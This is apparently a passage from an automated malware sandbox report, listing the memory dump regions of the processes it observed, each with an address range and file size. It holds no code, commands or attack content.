                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/1392-330-0x0000000000910000-0x0000000000DB9000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/1392-382-0x0000000000910000-0x0000000000DB9000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/1828-165-0x0000000000400000-0x0000000000455000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        340KB

                                                                                                                                                                                                                                                                                                      • memory/1828-163-0x0000000000400000-0x0000000000455000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        340KB

                                                                                                                                                                                                                                                                                                      • memory/1952-2-0x0000000000FA1000-0x0000000000FCF000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        184KB

                                                                                                                                                                                                                                                                                                      • memory/1952-0-0x0000000000FA0000-0x0000000001449000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/1952-3-0x0000000000FA0000-0x0000000001449000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/1952-5-0x0000000000FA0000-0x0000000001449000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/1952-1-0x0000000077CF4000-0x0000000077CF6000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        8KB

                                                                                                                                                                                                                                                                                                      • memory/1952-18-0x0000000000FA0000-0x0000000001449000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/2248-186-0x0000000000400000-0x000000000063B000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        2.2MB

                                                                                                                                                                                                                                                                                                      • memory/2248-188-0x0000000000400000-0x000000000063B000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        2.2MB

                                                                                                                                                                                                                                                                                                      • memory/2648-232-0x000001A4B8650000-0x000001A4B8672000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        136KB

                                                                                                                                                                                                                                                                                                      • memory/3160-164-0x0000000000D20000-0x0000000000D21000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                      • memory/3184-783-0x0000000000400000-0x000000000046E000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        440KB

                                                                                                                                                                                                                                                                                                      • memory/3184-218-0x000001F1247F0000-0x000001F12484C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3184-207-0x000001F122A90000-0x000001F122ACC000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        240KB

                                                                                                                                                                                                                                                                                                      • memory/3184-787-0x0000000008670000-0x00000000086BC000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        304KB

                                                                                                                                                                                                                                                                                                      • memory/3184-217-0x000001F122ED0000-0x000001F122ED6000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        24KB

                                                                                                                                                                                                                                                                                                      • memory/3260-168-0x0000000000DF0000-0x0000000000DF1000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                      • memory/3360-167-0x0000000000400000-0x0000000000459000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        356KB

                                                                                                                                                                                                                                                                                                      • memory/3360-169-0x0000000000400000-0x0000000000459000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        356KB

                                                                                                                                                                                                                                                                                                      • memory/3728-694-0x00000000091E0000-0x000000000970C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        5.2MB

                                                                                                                                                                                                                                                                                                      • memory/3728-208-0x00000000066A0000-0x0000000006706000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        408KB

                                                                                                                                                                                                                                                                                                      • memory/3728-108-0x0000000000320000-0x0000000000372000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        328KB

                                                                                                                                                                                                                                                                                                      • memory/3728-233-0x0000000007420000-0x0000000007470000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        320KB

                                                                                                                                                                                                                                                                                                      • memory/3728-693-0x0000000007820000-0x00000000079E2000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        1.8MB

                                                                                                                                                                                                                                                                                                      • memory/3764-384-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-380-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-386-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-388-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-390-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-381-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-404-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-406-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-408-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/3764-398-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        368KB

                                                                                                                                                                                                                                                                                                      • memory/4024-187-0x0000000002320000-0x0000000002321000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                      • memory/4208-38-0x0000000000400000-0x0000000000592000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        1.6MB

                                                                                                                                                                                                                                                                                                      • memory/4252-274-0x00000000055D0000-0x000000000566C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        624KB

                                                                                                                                                                                                                                                                                                      • memory/4252-332-0x0000000008830000-0x0000000008836000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        24KB

                                                                                                                                                                                                                                                                                                      • memory/4252-323-0x0000000008220000-0x00000000084E2000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        2.8MB

                                                                                                                                                                                                                                                                                                      • memory/4252-325-0x0000000001330000-0x0000000001336000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        24KB

                                                                                                                                                                                                                                                                                                      • memory/4252-331-0x0000000008810000-0x000000000882A000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        104KB

                                                                                                                                                                                                                                                                                                      • memory/4252-273-0x0000000000360000-0x00000000003CA000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        424KB

                                                                                                                                                                                                                                                                                                      • memory/4292-245-0x000000001F580000-0x000000001F742000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        1.8MB

                                                                                                                                                                                                                                                                                                      • memory/4292-145-0x0000000000DB0000-0x0000000000E1C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        432KB

                                                                                                                                                                                                                                                                                                      • memory/4292-246-0x000000001FC80000-0x00000000201A8000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        5.2MB

                                                                                                                                                                                                                                                                                                      • memory/4292-220-0x000000001BEA0000-0x000000001BEBE000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                      • memory/4292-219-0x000000001ED30000-0x000000001EDA6000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        472KB

                                                                                                                                                                                                                                                                                                      • memory/4292-215-0x000000001BEC0000-0x000000001BEFC000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        240KB

                                                                                                                                                                                                                                                                                                      • memory/4292-214-0x000000001BE60000-0x000000001BE72000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        72KB

                                                                                                                                                                                                                                                                                                      • memory/4292-213-0x000000001E920000-0x000000001EA2A000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        1.0MB

                                                                                                                                                                                                                                                                                                      • memory/4328-97-0x0000000006140000-0x00000000061B6000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        472KB

                                                                                                                                                                                                                                                                                                      • memory/4328-138-0x0000000006C80000-0x0000000006CBC000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        240KB

                                                                                                                                                                                                                                                                                                      • memory/4328-60-0x0000000000BB0000-0x0000000000C02000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        328KB

                                                                                                                                                                                                                                                                                                      • memory/4328-61-0x0000000005990000-0x0000000005F34000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        5.6MB

                                                                                                                                                                                                                                                                                                      • memory/4328-62-0x00000000054C0000-0x0000000005552000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        584KB

                                                                                                                                                                                                                                                                                                      • memory/4328-63-0x0000000005580000-0x000000000558A000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        40KB

                                                                                                                                                                                                                                                                                                      • memory/4328-140-0x0000000006DF0000-0x0000000006E3C000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        304KB

                                                                                                                                                                                                                                                                                                      • memory/4328-132-0x0000000007190000-0x00000000077A8000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        6.1MB

                                                                                                                                                                                                                                                                                                      • memory/4328-136-0x0000000006CE0000-0x0000000006DEA000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        1.0MB

                                                                                                                                                                                                                                                                                                      • memory/4328-114-0x0000000006A10000-0x0000000006A2E000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                      • memory/4328-137-0x0000000006C20000-0x0000000006C32000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        72KB

                                                                                                                                                                                                                                                                                                      • memory/4824-826-0x0000000004390000-0x00000000046E4000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        3.3MB

                                                                                                                                                                                                                                                                                                      • memory/4876-758-0x00000000045E0000-0x0000000004934000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        3.3MB

                                                                                                                                                                                                                                                                                                      • memory/4988-374-0x0000000000910000-0x0000000000DB9000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/4988-352-0x0000000000910000-0x0000000000DB9000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/5000-37-0x00000000003E0000-0x00000000003E1000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                      • memory/5000-39-0x00000000003E0000-0x00000000003E1000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                      • memory/5024-796-0x000001E44E900000-0x000001E44E912000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        72KB

                                                                                                                                                                                                                                                                                                      • memory/5024-324-0x000001E433680000-0x000001E4342D2000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        12.3MB

                                                                                                                                                                                                                                                                                                      • memory/5024-797-0x000001E44E7D0000-0x000001E44E7DA000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        40KB

                                                                                                                                                                                                                                                                                                      • memory/5112-222-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        32KB

                                                                                                                                                                                                                                                                                                      • memory/5572-786-0x0000000000910000-0x0000000000DB9000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/5572-793-0x0000000000910000-0x0000000000DB9000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                                                                                      • memory/6012-671-0x0000000007390000-0x0000000007426000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        600KB

                                                                                                                                                                                                                                                                                                      • memory/6012-655-0x0000000002860000-0x0000000002896000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        216KB

                                                                                                                                                                                                                                                                                                      • memory/6012-672-0x00000000068C0000-0x00000000068DA000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        104KB

                                                                                                                                                                                                                                                                                                      • memory/6012-673-0x00000000072F0000-0x0000000007312000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        136KB

                                                                                                                                                                                                                                                                                                      • memory/6012-670-0x0000000006390000-0x00000000063AE000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                                                      • memory/6012-663-0x0000000005B00000-0x0000000005B66000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        408KB

                                                                                                                                                                                                                                                                                                      • memory/6012-656-0x00000000054D0000-0x0000000005AF8000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        6.2MB

                                                                                                                                                                                                                                                                                                      • memory/6012-668-0x0000000005CE0000-0x0000000006034000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        3.3MB

                                                                                                                                                                                                                                                                                                      • memory/6012-657-0x00000000053E0000-0x0000000005402000-memory.dmp
                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                        136KB